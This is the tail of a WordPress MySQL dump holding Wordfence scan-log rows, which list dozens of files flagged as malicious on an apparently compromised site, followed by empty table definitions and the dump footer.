(8,1789251162.751889,2,'info','Wordfence used 0 B of memory for scan. Server peak memory usage was: 8 MB'),
(9,1789251162.754052,1,'info','Quick Scan Complete. Scanned in less than 1 second.'),
(10,1789251162.754762,10,'info','SUM_FINAL:Scan complete. You have 1 new issue to fix. See below.'),
(11,1789251191.509118,10,'info','SUM_PREP:Preparing a new scan.'),
(12,1789251191.512875,1,'info','Contacting Wordfence to initiate scan'),
(13,1789251193.727752,10,'info','SUM_PAIDONLY:Check if your site is being Spamvertized is for paid members only'),
(14,1789251195.730529,10,'info','SUM_PAIDONLY:Checking if your IP is generating spam is for paid members only'),
(15,1789251197.732541,10,'info','SUM_PAIDONLY:Checking if your site is on a domain blocklist is for paid members only'),
(16,1789251199.743693,10,'info','SUM_START:Checking for the most secure way to get IPs'),
(17,1789251199.751366,10,'info','SUM_ENDSKIPPED:Checking for the most secure way to get IPs'),
(18,1789251199.758587,10,'info','SUM_START:Scanning to check available disk space'),
(19,1789251199.761321,2,'info','Total disk space: 1.29 TB -- Free disk space: 96.35 GB'),
(20,1789251199.761866,2,'info','The disk has 98657.65 MB available'),
(21,1789251199.762317,10,'info','SUM_ENDOK:Scanning to check available disk space'),
(22,1789251199.768942,10,'info','SUM_START:Checking Web Application Firewall status'),
(23,1789251199.771683,10,'info','SUM_ENDOK:Checking Web Application Firewall status'),
(24,1789251199.778514,10,'info','SUM_START:Checking for future GeoIP support'),
(25,1789251199.781146,10,'info','SUM_ENDOK:Checking for future GeoIP support'),
(26,1789251199.787892,10,'info','SUM_START:Checking for paths skipped due to scan settings'),
(27,1789251199.794447,10,'info','SUM_ENDBAD:Checking for paths skipped due to scan settings'),
(28,1789251199.799472,2,'info','Getting plugin list from WordPress'),
(29,1789251199.805649,2,'info','Found 5 plugins'),
(30,1789251199.806164,2,'info','Getting theme list from WordPress'),
(31,1789251199.808376,2,'info','Found 7 themes'),
(32,1789251199.824437,10,'info','SUM_START:Fetching core, theme and plugin file signatures from Wordfence'),
(33,1789251200.087228,10,'info','SUM_ENDSUCCESS:Fetching core, theme and plugin file signatures from Wordfence'),
(34,1789251200.092952,10,'info','SUM_START:Fetching list of known malware files from Wordfence'),
(35,1789251200.327909,10,'info','SUM_ENDSUCCESS:Fetching list of known malware files from Wordfence'),
(36,1789251200.332170,10,'info','SUM_START:Fetching list of known core files from Wordfence'),
(37,1789251200.554679,10,'info','SUM_ENDSUCCESS:Fetching list of known core files from Wordfence'),
(38,1789251200.560260,10,'info','SUM_START:Comparing core WordPress files against originals in repository'),
(39,1789251200.563010,10,'info','SUM_DISABLED:Skipping theme scan'),
(40,1789251200.563503,10,'info','SUM_DISABLED:Skipping plugin scan'),
(41,1789251200.565923,10,'info','SUM_START:Scanning for known malware files'),
(42,1789251200.570366,10,'info','SUM_START:Scanning for unknown files in wp-admin and wp-includes'),
(43,1789251200.610199,2,'info','500 files indexed'),
(44,1789251200.646461,2,'info','1000 files indexed'),
(45,1789251200.702743,2,'info','1500 files indexed'),
(46,1789251201.315019,2,'info','2000 files indexed'),
(47,1789251201.338935,2,'info','2500 files indexed'),
(48,1789251201.378308,2,'info','3000 files indexed'),
(49,1789251201.405442,2,'info','3500 files indexed'),
(50,1789251201.430839,2,'info','4000 files indexed'),
(51,1789251201.456137,2,'info','4500 files indexed'),
(52,1789251201.482336,2,'info','5000 files indexed'),
(53,1789251201.498364,2,'info','5262 files indexed'),
(54,1789251201.565726,2,'info','Analyzed 100 files containing 1.18 MB of data so far'),
(55,1789251201.618839,2,'info','Analyzed 200 files containing 1.85 MB of data so far'),
(56,1789251201.650673,2,'info','Analyzed 300 files containing 3.01 MB of data so far'),
(57,1789251201.690726,2,'info','Analyzed 400 files containing 5.41 MB of data so far'),
(58,1789251201.884933,2,'info','Analyzed 500 files containing 16.58 MB of data so far'),
(59,1789251201.931984,2,'info','Analyzed 600 files containing 18.94 MB of data so far'),
(60,1789251201.964432,2,'info','Analyzed 700 files containing 20.61 MB of data so far'),
(61,1789251201.989400,2,'info','Analyzed 800 files containing 21.46 MB of data so far'),
(62,1789251202.070522,2,'info','Analyzed 900 files containing 23.32 MB of data so far'),
(63,1789251202.238875,2,'info','Analyzed 1000 files containing 26.41 MB of data so far'),
(64,1789251203.005046,2,'info','Analyzed 1100 files containing 33.95 MB of data so far'),
(65,1789251203.133665,2,'info','Analyzed 1200 files containing 34.49 MB of data so far'),
(66,1789251203.556611,2,'info','Analyzed 1300 files containing 36.81 MB of data so far'),
(67,1789251204.098157,2,'info','Analyzed 1400 files containing 39.84 MB of data so far'),
(68,1789251204.247879,2,'info','Analyzed 1500 files containing 40.1 MB of data so far'),
(69,1789251205.090719,2,'info','Analyzed 1600 files containing 45.62 MB of data so far'),
(70,1789251205.871658,2,'info','Analyzed 1700 files containing 50.1 MB of data so far'),
(71,1789251206.060833,2,'info','Analyzed 1800 files containing 53.72 MB of data so far'),
(72,1789251206.379709,2,'info','Analyzed 1900 files containing 55.58 MB of data so far'),
(73,1789251206.637162,2,'info','Analyzed 2000 files containing 56.53 MB of data so far'),
(74,1789251206.707203,2,'info','Analyzed 2100 files containing 58.17 MB of data so far'),
(75,1789251207.030651,2,'info','Analyzed 2200 files containing 60.86 MB of data so far'),
(76,1789251207.210749,2,'info','Analyzed 2300 files containing 61.72 MB of data so far'),
(77,1789251207.511685,2,'info','Analyzed 2400 files containing 63.46 MB of data so far'),
(78,1789251207.630440,2,'info','Analyzed 2500 files containing 63.94 MB of data so far'),
(79,1789251207.690679,2,'info','Analyzed 2600 files containing 64.73 MB of data so far'),
(80,1789251208.642422,2,'info','Analyzed 2700 files containing 68.27 MB of data so far'),
(81,1789251208.726376,2,'info','Analyzed 2800 files containing 68.56 MB of data so far'),
(82,1789251208.763199,2,'info','Analyzed 2900 files containing 68.64 MB of data so far'),
(83,1789251208.842811,2,'info','Analyzed 3000 files containing 68.96 MB of data so far'),
(84,1789251208.897619,2,'info','Analyzed 3100 files containing 69.11 MB of data so far'),
(85,1789251208.944017,2,'info','Analyzed 3200 files containing 69.39 MB of data so far'),
(86,1789251208.976378,2,'info','Analyzed 3300 files containing 69.5 MB of data so far'),
(87,1789251209.314408,2,'info','Analyzed 3400 files containing 69.59 MB of data so far'),
(88,1789251209.347099,2,'info','Analyzed 3500 files containing 69.8 MB of data so far'),
(89,1789251209.378259,2,'info','Analyzed 3600 files containing 69.88 MB of data so far'),
(90,1789251209.437580,2,'info','Analyzed 3700 files containing 71.79 MB of data so far'),
(91,1789251209.509155,2,'info','Analyzed 3800 files containing 73.89 MB of data so far'),
(92,1789251209.666453,2,'info','Analyzed 3900 files containing 76.8 MB of data so far'),
(93,1789251209.760970,2,'info','Analyzed 4000 files containing 77.46 MB of data so far'),
(94,1789251209.957459,2,'info','Analyzed 4100 files containing 80.16 MB of data so far'),
(95,1789251210.264252,2,'info','Analyzed 4200 files containing 81.84 MB of data so far'),
(96,1789251213.228629,2,'info','Analyzed 4300 files containing 99.46 MB of data so far'),
(97,1789251214.016445,2,'info','Analyzed 4400 files containing 103.83 MB of data so far'),
(98,1789251216.977705,2,'info','Analyzed 4500 files containing 121.29 MB of data so far'),
(99,1789251217.150795,2,'info','Analyzed 4600 files containing 122.47 MB of data so far'),
(100,1789251217.600094,2,'info','Analyzed 4700 files containing 124.58 MB of data so far'),
(101,1789251218.037815,2,'info','Analyzed 4800 files containing 127.2 MB of data so far'),
(102,1789251218.323521,2,'info','Analyzed 4900 files containing 130.22 MB of data so far'),
(103,1789251218.477300,2,'info','Analyzed 5000 files containing 132.47 MB of data so far'),
(104,1789251218.770160,2,'info','Analyzed 5100 files containing 134.17 MB of data so far'),
(105,1789251218.961218,2,'info','Analyzed 5200 files containing 135.51 MB of data so far'),
(106,1789251219.281536,2,'info','Analyzed 5261 files containing 136.34 MB of data.'),
(107,1789251219.282007,10,'info','SUM_ENDBAD:Comparing core WordPress files against originals in repository'),
(108,1789251219.286591,10,'info','SUM_ENDBAD:Scanning for unknown files in wp-admin and wp-includes'),
(109,1789251219.291874,10,'info','SUM_ENDOK:Scanning for known malware files'),
(110,1789251219.299745,10,'info','SUM_START:Check for publicly accessible configuration files, backup files and logs'),
(111,1789251219.311042,10,'info','SUM_ENDOK:Check for publicly accessible configuration files, backup files and logs'),
(112,1789251219.319932,10,'info','SUM_START:Scanning file contents for infections and vulnerabilities'),
(113,1789251219.322291,10,'info','SUM_START:Scanning file contents for URLs on a domain blocklist'),
(114,1789251219.932998,2,'info','Starting scan of file contents'),
(115,1789251221.000529,2,'info','Scanned contents of 26 additional files at 24.40 per second'),
(116,1789251222.028116,2,'info','Scanned contents of 80 additional files at 38.22 per second'),
(117,1789251223.081901,2,'info','Scanned contents of 109 additional files at 34.64 per second'),
(118,1789251224.190913,2,'info','Scanned contents of 132 additional files at 31.01 per second'),
(119,1789251225.423281,2,'info','Scanned contents of 164 additional files at 29.88 per second'),
(120,1789251226.432538,2,'info','Scanned contents of 202 additional files at 31.09 per second'),
(121,1789251227.488086,2,'info','Scanned contents of 230 additional files at 30.45 per second'),
(122,1789251228.808765,2,'info','Scanned contents of 271 additional files at 30.54 per second'),
(123,1789251229.813168,2,'info','Scanned contents of 296 additional files at 29.96 per second'),
(124,1789251230.828022,2,'info','Scanned contents of 317 additional files at 29.10 per second'),
(125,1789251232.201710,2,'info','Scanned contents of 337 additional files at 27.47 per second'),
(126,1789251233.241252,2,'info','Scanned contents of 354 additional files at 26.60 per second'),
(127,1789251234.809189,2,'info','Scanned contents of 372 additional files at 25.01 per second'),
(128,1789251235.895788,2,'info','Scanned contents of 410 additional files at 25.69 per second'),
(129,1789251236.929616,2,'info','Scanned contents of 433 additional files at 25.48 per second'),
(130,1789251238.603666,2,'info','Scanned contents of 451 additional files at 24.16 per second'),
(131,1789251239.894356,2,'info','Scanned contents of 483 additional files at 24.20 per second'),
(132,1789251240.981993,2,'info','Scanned contents of 508 additional files at 24.14 per second'),
(133,1789251241.984333,2,'info','Scanned contents of 534 additional files at 24.22 per second'),
(134,1789251242.985443,2,'info','Scanned contents of 542 additional files at 23.51 per second'),
(135,1789251244.220296,2,'info','Scanned contents of 568 additional files at 23.39 per second'),
(136,1789251245.272074,2,'info','Scanned contents of 583 additional files at 23.01 per second'),
(137,1789251246.309098,2,'info','Scanned contents of 630 additional files at 23.89 per second'),
(138,1789251246.529864,2,'info','Scanned contents of 656 additional files at 24.67 per second'),
(139,1789251246.530460,2,'info','Asking Wordfence to check URLs against malware list.'),
(140,1789251246.531224,2,'info','Checking 45 host keys against Wordfence scanning servers.'),
(141,1789251246.653295,2,'info','Done host key check.'),
(142,1789251246.766853,2,'info','Done file contents scan'),
(143,1789251246.769585,2,'info','Adding issue: File appears to be malicious or unsafe: post-new.php'),
(144,1789251246.771077,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/filefuns.php'),
(145,1789251246.773838,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/wp-cron.php'),
(146,1789251246.775435,2,'info','Adding issue: File appears to be malicious or unsafe: wp-admin/css/colors/blue/blue/index.php'),
(147,1789251246.776796,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/index.php'),
(148,1789251246.778079,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/wp-cron.php'),
(149,1789251246.779442,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/kjfl1bg/ky1monx/index.php'),
(150,1789251246.780760,2,'info','Adding issue: File appears to be malicious or unsafe: cgi-bin/cgi-bin/index.php'),
(151,1789251246.783206,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/f.php'),
(152,1789251246.784499,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/index.php'),
(153,1789251246.785838,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/sqh1xut/mjntoed/index.php'),
(154,1789251246.787106,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/gajftko/rdkfahv/gqcshxk/index.php'),
(155,1789251246.788873,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/html-api/rcfospm/yrfsgvq/lag1xoi/index.php'),
(156,1789251246.790321,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/she11.php'),
(157,1789251246.791661,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/html-api/smzgnbc/vxswmkl/index.php'),
(158,1789251246.804660,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/well-known/acme-challenge/f/e/b/b/fewioln/zltfr1c/index.php'),
(159,1789251246.806013,2,'info','Adding issue: File appears to be malicious or unsafe: admin.php'),
(160,1789251246.807683,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/uploads/ewncuos/rzkntb1/d1kvmfi/admin.php'),
(161,1789251246.808972,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/index.php'),
(162,1789251246.810348,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/fxpu1qt/uspyrgz/qe1mhav/index.php'),
(163,1789251246.830029,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/html-api/xegynso/gqy1pns/xpjdifr/index.php'),
(164,1789251246.842846,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/css/dist/admin-ui/admin-ui/cache.php'),
(165,1789251246.844201,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/egf1kul/ytws1xl/index.php'),
(166,1789251246.845875,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/svjbhyp/nogdurq/cuklbxg/f35.php'),
(167,1789251246.847307,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/well-known/acme-challenge/d/f/a/d/d/index.php'),
(168,1789251246.851420,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/Text/elbyraq/1qafueo/vlkr1cf/ORVX-Qt6TYY.php'),
(169,1789251246.852865,2,'info','Adding issue: File appears to be malicious or unsafe: cgi-bin/wp-cron.php'),
(170,1789251246.854543,2,'info','Adding issue: File appears to be malicious or unsafe: cgi-bin/cgi-bin/cache.php'),
(171,1789251246.857373,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.php'),
(172,1789251246.858946,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/ntueyzv/yvqrbhm/index.php'),
(173,1789251246.860421,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/ws.php'),
(174,1789251246.862012,2,'info','Adding issue: File appears to be malicious or unsafe: filefuns.php'),
(175,1789251246.864170,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/index.php'),
(176,1789251246.865601,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/svjbhyp/nogdurq/index.php'),
(177,1789251246.867531,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/1xuftgv/dtrewsx/index.php'),
(178,1789251246.870195,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/Text/icatnpe/yrpuihc/yjqepgf/index.php'),
(179,1789251246.871889,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/Text/elbyraq/1qafueo/vlkr1cf/index.php'),
(180,1789251246.873225,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/fxpu1qt/uspyrgz/index.php'),
(181,1789251246.874895,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/egf1kul/ytws1xl/yvgo1is/index.php'),
(182,1789251246.876267,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/well-known/acme-challenge/d/f/a/d/d/cache.php'),
(183,1789251246.877511,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/lpshcut/udgvzwn/index.php'),
(184,1789251246.878956,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/Text/elbyraq/1qafueo/vlkr1cf/c99.php'),
(185,1789251246.880280,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/well-known/acme-challenge/b/e/d/a/a/index.php'),
(186,1789251246.881939,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/ubxnoaj/xwlk1ch/slmhuvx/index.php'),
(187,1789251246.885119,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/css/dist/admin-ui/admin-ui/index.php'),
(188,1789251246.886573,2,'info','Adding issue: File appears to be malicious or unsafe: ulxijwmu.php'),
(189,1789251246.887939,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/html-api/1xhyzgt/xahpzbq/mpcxgqh/index.php'),
(190,1789251246.894109,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/Text/udewhxn/krxqwmf/umvqkrn/index.php'),
(191,1789251246.895637,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/Text/elbyraq/1qafueo/index.php'),
(192,1789251246.897015,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/well-known/acme-challenge/f/e/b/b/fewioln/zltfr1c/about.php'),
(193,1789251246.898342,2,'info','Adding issue: File appears to be malicious or unsafe: wp-admin/wp-blog-header.php'),
(194,1789251246.899748,2,'info','Adding issue: File appears to be malicious or unsafe: wp-admin/filefuns.php'),
(195,1789251246.901793,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/egf1kul/ytws1xl/yvgo1is/f35c.php'),
(196,1789251246.903381,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/ufbsx1k/gzkrwvm/zwdlvtu/index.php'),
(197,1789251246.904951,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/fxpu1qt/uspyrgz/qe1mhav/0day.php'),
(198,1789251246.906346,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/index.php'),
(199,1789251246.909054,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/sqh1xut/mjntoed/jprxeqi/index.php'),
(200,1789251246.910430,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/0day.php'),
(201,1789251246.911892,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.php'),
(202,1789251246.913317,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/Text/elbyraq/1qafueo/vlkr1cf/npu5izri.php'),
(203,1789251246.914672,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/svjbhyp/nogdurq/cuklbxg/index.php'),
(204,1789251246.916147,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/nsrytze/1apqerf/exnsmrk/index.php'),
(205,1789251246.917457,2,'info','Adding issue: File appears to be malicious or unsafe: wp-admin/css/colors/blue/blue/cache.php'),
(206,1789251246.919686,2,'info','Adding issue: File appears to be malicious or unsafe: cgi-bin/wp-blog-header.php'),
(207,1789251246.921962,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/index.php'),
(208,1789251246.923297,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/uploads/gaqpdcf/avwisqn/mjws1fu/index.php'),
(209,1789251246.933849,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/index.php'),
(210,1789251246.936337,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/cvc.php'),
(211,1789251246.937753,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.update.php'),
(212,1789251246.951291,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/well-known/acme-challenge/f/e/b/b/fewioln/zltfr1c/admin.php'),
(213,1789251246.952691,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/html-api/knojvbd/lyuifac/csdhol1/admin.php'),
(214,1789251246.955552,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/uploads/ewncuos/rzkntb1/d1kvmfi/index.php'),
(215,1789251246.962167,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/admin.php'),
(216,1789251246.963501,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/wp-blog-header.php'),
(217,1789251246.965207,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/wp-blog-header.php'),
(218,1789251246.966472,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/index.php'),
(219,1789251246.968122,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/plugin.php'),
(220,1789251246.969318,2,'info','Adding issue: File appears to be malicious or unsafe: wp-content/well-known/acme-challenge/b/e/d/a/a/cache.php'),
(221,1789251246.970713,2,'info','Adding issue: File appears to be malicious or unsafe: wp-admin/wp-cron.php'),
(222,1789251246.971908,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/sqh1xut/mjntoed/jprxeqi/cmd.php'),
(223,1789251246.973145,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/sitemaps/ubxnoaj/xwlk1ch/slmhuvx/c99.php'),
(224,1789251246.975029,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/t.php'),
(225,1789251246.976437,2,'info','Adding issue: File appears to be malicious or unsafe: wp-includes/Text/yk1mjid/wgocz1i/index.php'),
(226,1789251246.978107,10,'info','SUM_ENDBAD:Scanning file contents for infections and vulnerabilities'),
(227,1789251246.986594,10,'info','SUM_ENDOK:Scanning file contents for URLs on a domain blocklist'),
(228,1789251246.994454,10,'info','SUM_START:Scanning for publicly accessible quarantined files'),
(229,1789251246.997082,10,'info','SUM_ENDOK:Scanning for publicly accessible quarantined files'),
(230,1789251247.006910,10,'info','SUM_START:Scanning posts for URLs on a domain blocklist'),
(231,1789251247.715411,2,'info','Examining URLs found in posts we scanned for dangerous websites'),
(232,1789251247.716319,2,'info','Checking 248 host keys against Wordfence scanning servers.'),
(233,1789251247.811319,2,'info','Done host key check.'),
(234,1789251247.812147,2,'info','Done examining URLs'),
(235,1789251247.817688,10,'info','SUM_ENDOK:Scanning posts for URLs on a domain blocklist'),
(236,1789251247.824069,10,'info','SUM_START:Scanning comments for URLs on a domain blocklist'),
(237,1789251247.833973,10,'info','SUM_ENDOK:Scanning comments for URLs on a domain blocklist'),
(238,1789251247.840746,10,'info','SUM_START:Scanning for weak passwords'),
(239,1789251247.843509,2,'info','Starting password strength check on 1 user.'),
(240,1789251248.820716,10,'info','SUM_ENDOK:Scanning for weak passwords'),
(241,1789251248.830389,10,'info','SUM_START:Scanning for old themes, plugins and core files'),
(242,1789251250.532499,10,'info','SUM_ENDBAD:Scanning for old themes, plugins and core files'),
(243,1789251250.539311,10,'info','SUM_START:Scanning for admin users not created through WordPress'),
(244,1789251250.683341,10,'info','SUM_ENDOK:Scanning for admin users not created through WordPress'),
(245,1789251250.689988,10,'info','SUM_START:Scanning for suspicious site options'),
(246,1789251250.697883,2,'info','Examining URLs found in the options we scanned for dangerous websites'),
(247,1789251250.698563,2,'info','Done examining URLs'),
(248,1789251250.702496,10,'info','SUM_ENDOK:Scanning for suspicious site options'),
(249,1789251250.711139,1,'info','-------------------'),
(250,1789251250.712062,2,'info','Wordfence used 62 MB of memory for scan. Server peak memory usage was: 64 MB'),
(251,1789251250.713448,1,'info','Scan Complete. Scanned 5261 files, 6 plugins, 7 themes, 128 posts, 0 comments and 1803 URLs in 57 seconds.'),
(252,1789251250.714012,10,'info','SUM_FINAL:Scan complete. You have 303 new issues to fix. See below.');
/*!40000 ALTER TABLE `wp4v_wfstatus` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wftrafficrates`
--

DROP TABLE IF EXISTS `wp4v_wftrafficrates`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wftrafficrates` (
  `eMin` int(10) unsigned NOT NULL,
  `IP` binary(16) NOT NULL DEFAULT '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
  `hitType` enum('hit','404') NOT NULL DEFAULT 'hit',
  `hits` int(10) unsigned NOT NULL,
  PRIMARY KEY (`eMin`,`IP`,`hitType`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wftrafficrates`
--

LOCK TABLES `wp4v_wftrafficrates` WRITE;
/*!40000 ALTER TABLE `wp4v_wftrafficrates` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wftrafficrates` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfwaffailures`
--

DROP TABLE IF EXISTS `wp4v_wfwaffailures`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfwaffailures` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `throwable` text NOT NULL,
  `rule_id` int(10) unsigned DEFAULT NULL,
  `timestamp` timestamp NOT NULL DEFAULT current_timestamp(),
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfwaffailures`
--

LOCK TABLES `wp4v_wfwaffailures` WRITE;
/*!40000 ALTER TABLE `wp4v_wfwaffailures` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wfwaffailures` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2026-09-15  8:03:33
